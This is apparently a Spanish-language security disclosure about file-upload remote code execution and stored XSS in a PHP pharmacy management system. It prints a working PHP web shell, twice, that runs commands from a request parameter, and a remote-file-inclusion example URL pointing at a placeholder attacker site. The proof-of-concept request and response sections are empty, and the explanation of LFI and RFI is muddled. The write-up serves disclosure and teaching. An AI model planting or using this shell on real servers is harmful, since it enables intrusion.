
Esta aplicación fue creada por Mayurik
El proyecto del sistema de gestión de farmacia en PHP ha sido desarrollado para mejorar la precisión y eficiencia de las tiendas farmacéuticas a través de la seguridad y la gestión. En resumen, es una aplicación de inventario de productos.
Se descubrió que Pharmacy Management System v1.0 contenía una vulnerabilidad de ejecución remota de código (RCE) a través del componente "/php_action/editProductImage.php". Esta vulnerabilidad permite a los atacantes ejecutar código arbitrario mediante un archivo de imagen manipulado.
Las vulnerabilidades de subida de archivos suelen ser una vulnerabilidad que permite ejecutar un script. Funciona cuando subimos el archivo al servidor y ejecutamos un comando sobre el archivo subido. Las vulnerabilidades de subida de archivos se dividen en dos tipos:
Esta vulnerabilidad ocurre cuando los archivos locales del servidor incluyen el archivo recuperado del usuario. Los valores recibidos del usuario deben ser saneados.
Ejemplo de LFI (Inclusión Local de Archivos) :
<?php
if($_REQUEST['s'])
{
system($_REQUEST['s']);
}
else
phpinfo();?>
Esta vulnerabilidad funciona cuando el atacante sube malware desde un servidor remoto.
Ejemplo de RFI (Inclusión Remota de Archivos) :
"www.victim_site.com/abc.php?test=http://www.attacker_site.com/attack_page"

Ejemplo de script de shell PHP:
<?php
if($_REQUEST['s'])
{
system($_REQUEST['s']);
}
else
phpinfo();?>
Petición:

Respuesta:

Petición:

Respuesta:


Además, esta vulnerabilidad sigue activa en la aplicación.
En la misma página, que es "editproduct.php", encontré un XSS almacenado
$sql = "UPDATE product SET product_name = '$productName'
En este bloque de código puede salirse del contexto con comillas dobles (")



Espero poder explicar cómo funciona la vulnerabilidad de inclusión de archivos, qué o cuál situación desencadena esta vulnerabilidad y cómo prevenir este ataque por parte de los atacantes. Gracias por su valioso tiempo.